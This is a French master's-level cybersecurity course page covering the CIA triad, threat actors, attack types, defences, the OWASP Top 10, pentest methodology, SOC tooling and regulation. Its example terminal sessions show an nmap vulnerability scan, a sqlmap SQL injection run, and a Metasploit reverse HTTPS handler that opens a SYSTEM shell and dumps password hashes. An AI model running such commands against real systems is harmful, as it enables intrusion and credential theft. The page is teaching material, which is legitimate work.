Département Informatique · Niveau Master
La cybersécurité protège les systèmes informatiques, les réseaux et les données contre les attaques, les accès non autorisés et les destructions. Elle couvre les dimensions techniques, organisationnelles et légales de la protection de l'information dans un monde hyperconnecté.
La cybersécurité repose sur trois propriétés fondamentales connues sous l'acronyme CIA (Confidentiality, Integrity, Availability) — la triade de sécurité.
L'information n'est accessible qu'aux entités autorisées. Moyens : chiffrement, contrôle d'accès, classification des données, DLP (Data Loss Prevention). Menaces : interception, fuites, espionnage.
Les données ne sont modifiées que par des processus autorisés. Mécanismes : signatures numériques, hachage (SHA-256, BLAKE3), contrôle de version, journaux d'audit immuables (WORM).
Les systèmes et données sont accessibles quand les utilisateurs en ont besoin. SLA, haute disponibilité, tolérance aux pannes, plans de continuité d'activité (PCA/PRA), protection anti-DDoS.
Non-répudiation : une action ne peut être niée par son auteur (signatures numériques, logs). Authenticité : identité vérifiable. Extensions du modèle CIA : DICP (Disponibilité, Intégrité, Confidentialité, Preuve) en France.
Principe fondamental : superposer plusieurs couches de sécurité indépendantes (réseaux, OS, applications, données, humains) de sorte qu'un attaquant doit compromettre chaque couche. Un seul point de sécurité n'est jamais suffisant.
| Acteur | Motivation | Capacités | Cibles typiques |
|---|---|---|---|
| Script Kiddies | Curiosité, reconnaissance | Faibles — outils préfabriqués | Cibles faciles, sites exposés |
| Hacktivistes | Idéologique, politique | Moyennes — DDoS, defacement | Gouvernements, entreprises controversées |
| Cybercriminels | Profit financier | Élevées — ransomware, BEC | Entreprises, banques, hôpitaux |
| APT (Nation-states) | Espionnage, sabotage | Très élevées — 0-days, supply chain | Infrastructures critiques, défense |
| Insiders (malveillants) | Vengeance, gain financier | Variables — accès légitimes | Employeur actuel ou ancien |
| Concurrents | Avantage concurrentiel | Moyennes — espionnage industriel | R&D, propriété intellectuelle |
Campagnes ciblées et longues durée (mois à années). Groupes connus : Lazarus (Corée du Nord), APT28/Fancy Bear (Russie), APT41 (Chine). Utilisent des 0-days, TTPs sophistiqués, C2 infrastructure.
RaaS (Ransomware-as-a-Service) : LockBit, BlackCat/ALPHV, Cl0p, Royal. Double extorsion : chiffrement + exfiltration. Rançons moyennes : 1,5 M$ en 2024. Secteurs cibles : santé, collectivités, industrie.
Compromission d'un fournisseur de confiance pour atteindre les cibles finales. Exemples : SolarWinds Sunburst (2020), CCleaner (2017), XZ Utils backdoor (2024), npm packages malveillants.
E-mails frauduleux imitant des entités légitimes pour voler des identifiants ou installer des malwares. Spear-phishing : ciblé (prénom, poste, contexte réel). Vishing (voix), Smishing (SMS), Quishing (QR codes).
Business Email Compromise : usurpation de la direction pour déclencher des virements frauduleux. Pretexting : scénario inventé pour extraire des informations. Baiting, Quid pro quo, Tailgating.
Saturation d'un service par des millions de requêtes depuis des botnets (Mirai, Emotet). Volumétrique (UDP flood, ICMP), Protocole (SYN flood), Applicatif (HTTP flood, Slowloris). Record : 3,8 Tbps (Google, 2023).
Interception des communications : ARP poisoning, DNS spoofing, SSL stripping, Evil Twin Wi-Fi. Déchiffrement de TLS via certificat frauduleux. Contré par HSTS, certificat pinning, DNSSEC.
Sniffing : capture de paquets sur un réseau (Wireshark, tcpdump) sur réseau non chiffré ou segmenté. IP Spoofing, MAC Spoofing, DNS Spoofing : falsification des adresses source pour contourner les filtres.
Chiffre les fichiers ou disques. Double extorsion : vol + chiffrement. Vecteurs : phishing, RDP exposé, vulnérabilités. Phases : reconnaissance → accès initial → persistance → mouvement latéral → exfiltration → chiffrement.
Cheval de Troie : logiciel légitime contenant un payload malveillant. RAT (Remote Access Trojan) : contrôle total à distance (Cobalt Strike, Meterpreter). Rootkit : se cache dans le kernel/firmware pour persister.
Réseau de machines compromises (bots) contrôlées par un Command & Control (C2). Infrastructure C2 : domaines générés (DGA), Fast-flux DNS, tunneling DNS/HTTPS. Utilisés pour DDoS, spam, minage de crypto, vol de données.
Modèle Lockheed Martin : Reconnaissance → Weaponization → Delivery → Exploitation → Installation → C2 → Actions. MITRE ATT&CK® : framework de 14 tactiques et 200+ techniques documentées.
Stateless (ACL par IP/port), Stateful (suivi des connexions), NGFW (L7, signatures applicatives). DMZ : zone démilitarisée entre Internet et réseau interne. Règles : principe du moindre privilège, deny-all par défaut.
Intrusion Detection/Prevention System. Détection basée sur signatures (Snort, Suricata) ou comportement (anomalie). HIDS (host-based), NIDS (réseau). IPS agit en ligne et peut bloquer. Taux de faux positifs : défi majeur.
VPN IPSec (site-to-site), SSL/TLS (client). WireGuard : protocole moderne, rapide, simple. ZTNA (Zero Trust Network Access) remplace le VPN : vérification continue, micro-segmentation, accès par ressource.
VLAN : isolation logique L2. Micro-segmentation (VMware NSX, Illumio) : politiques au niveau workload. Zero Trust : trafic Est-Ouest aussi contrôlé que Nord-Sud. Limite le mouvement latéral en cas de compromission.
DNSSEC : signatures cryptographiques des enregistrements DNS, empêche le cache poisoning. DNS over HTTPS (DoH) / DNS over TLS (DoT) : chiffrement des requêtes DNS. Nécessaire pour prévenir DNS spoofing et surveillance ISP.
SPF : liste des serveurs autorisés à envoyer pour un domaine. DKIM : signature cryptographique des emails par la clé privée du serveur. DMARC : politique d'alignement SPF+DKIM avec rapports et actions (quarantine, reject).
root@kali:~# nmap -sV -sC -O --script vuln 192.168.1.0/24 Starting Nmap 7.94 ( https://nmap.org ) Nmap scan report for 192.168.1.100 Host is up (0.0012s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 80/tcp open http nginx 1.24.0 443/tcp open ssl/http nginx 1.24.0 [VULNÉRABLE: CVE-2023-44487] 3306/tcp open mysql MySQL 8.0.35 WARNING: 3306/tcp ouvert sur l'interface publique — recommandation: fermer OS detection: Linux 5.x Nmap done: 256 IP addresses scanned in 47.23 seconds
L'OWASP (Open Web Application Security Project) publie annuellement le Top 10 des vulnérabilités web les plus critiques. Version 2021 :
Contrôle d'accès défaillant — IDOR, escalade de privilèges
Données sensibles en clair, algorithmes faibles
SQLi, NoSQLi, XSS, SSTI, Command injection
Défauts architecturaux, threat modeling absent
Cloud, defaults, headers HTTP manquants
CVE connues, dépendances non mises à jour
Mots de passe faibles, absence de MFA
Dépendances non vérifiées, CI/CD non sécurisé
Logs insuffisants, alertes manquantes
Server-Side Request Forgery — rebond vers services internes
pentester@kali:~/lab# sqlmap -u "https://target.local/user?id=1" --dbs --level=5 --risk=3 [*] starting @ 14:22:31 [14:22:32] [INFO] testing connection to the target URL [14:22:33] [CRITICAL] heuristic test shows that the target might be vulnerable [14:22:34] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' [14:22:36] [PAYLOAD] id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x71717a6271,... available databases [3]: [*] information_schema [*] utilisateurs_db ← BASE CIBLE IDENTIFIÉE [*] logs
Tout test d'intrusion doit être réalisé avec une autorisation écrite explicite du propriétaire du système. En France, le Code pénal (art. 323-1 à 323-7) punit l'accès non autorisé à un système informatique de 2 à 5 ans d'emprisonnement et 30 000€ à 150 000€ d'amende.
OSINT, Shodan, Google dorks, WHOIS, réseaux sociaux
Nmap, Masscan, Nikto, Nuclei, énumération DNS
Metasploit, custom exploits, vulnérabilités connues
Pivot, escalade de privilèges, mouvement latéral
Findings, CVSS, preuves, recommandations
msf6 > use exploit/multi/handler msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https payload => windows/x64/meterpreter/reverse_https msf6 exploit(multi/handler) > set LHOST 10.10.14.2 msf6 exploit(multi/handler) > run [*] Started HTTPS reverse handler on https://10.10.14.2:4444 [*] Meterpreter session 1 opened (10.10.14.2:4444 -> 10.10.10.5:52341) meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > hashdump Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c...
Score 0–10 évaluant vecteur d'attaque, complexité, privilèges requis, interaction utilisateur, confidentialité, intégrité et disponibilité impactées. Base + Temporal + Environmental scores.
Base de connaissance des TTPs (Tactiques, Techniques, Procédures) adversariales. 14 tactiques, 200+ techniques, 400+ sous-techniques. Référence mondiale pour la détection et simulation.
Red Team : simule une APT pendant des semaines/mois. Blue Team : défense et détection. Purple Team : collaboration Red+Blue pour améliorer la détection. Tabletop exercises : simulation de crise.
Équipe 24/7 chargée de surveiller, détecter et répondre aux incidents. Niveau 1 (triage), Niveau 2 (analyse), Niveau 3 (forensics/threat hunting). KPIs : MTTD, MTTR, false positive rate.
Collecte et corrèle les logs de tout le SI. Règles de détection, alertes, dashboard. Solutions : Splunk, Microsoft Sentinel, IBM QRadar, Elastic SIEM, Wazuh (open source).
Automatisation des playbooks de réponse à incident. Intégration SIEM + ticketing + threat intel. Réduction du MTTR. Solutions : Palo Alto XSOAR, Splunk SOAR, TheHive + Cortex.
Endpoint Detection & Response : agents sur les postes collectant comportement et alertes. XDR étend à l'ensemble des surfaces (email, cloud, réseau). CrowdStrike Falcon, SentinelOne, Microsoft Defender XDR.
Identity & Access Management : provisioning, déprovisioning, RBAC, SSO (SAML, OIDC), MFA. Privileged Access Management : gestion des comptes à privilèges, coffre-fort (CyberArk, HashiCorp Vault). Just-in-time access, session recording.
PCA (Plan de Continuité d'Activité) : RTO, RPO. PRA (Plan de Reprise). Backups : règle 3-2-1-1-0. Réponse aux incidents : Préparation → Identification → Confinement → Éradication → Récupération → Retex.
Recherche proactive de menaces qui ont évité la détection automatique. Hypothèse-driven : le chasseur formule une hypothèse (ex: présence d'un C2 via DNS) et cherche les indicateurs. Outils : YARA, Sigma rules, Velociraptor, osquery.
Norme internationale pour les Systèmes de Management de la Sécurité de l'Information (SMSI). 114 contrôles en 14 domaines. Certification tierce partie. 27002 : guide de bonnes pratiques. 27005 : gestion des risques.
Agence Nationale de la Sécurité des Systèmes d'Information — autorité nationale. RGS (Référentiel Général de Sécurité) : administrations publiques. SecNumCloud : qualification des prestataires cloud souverains. PASSI : prestataires de pentest qualifiés.
RGPD : protection des données personnelles. Privacy by design, DPO, notification de breach en 72h. NIS2 (2024) : sécurité des entités essentielles et importantes. Sanctions jusqu'à 10M€ ou 2% CA mondial.
Payment Card Industry Data Security Standard. 12 exigences pour la protection des données cartes. SAQ pour petits commerçants, QSA audit pour grandes organisations. Version 4.0 depuis 2022.
NIST Cybersecurity Framework : Gouverner, Identifier, Protéger, Détecter, Répondre, Récupérer. CIS Controls v8 : 18 contrôles prioritaires classés par impact. IG1/IG2/IG3 selon la maturité.
Opérateurs d'Importance Vitale : secteurs critiques (énergie, eau, défense, santé) soumis à des obligations renforcées. HDS (Hébergeurs de Données de Santé) : certification obligatoire en France pour le cloud médical.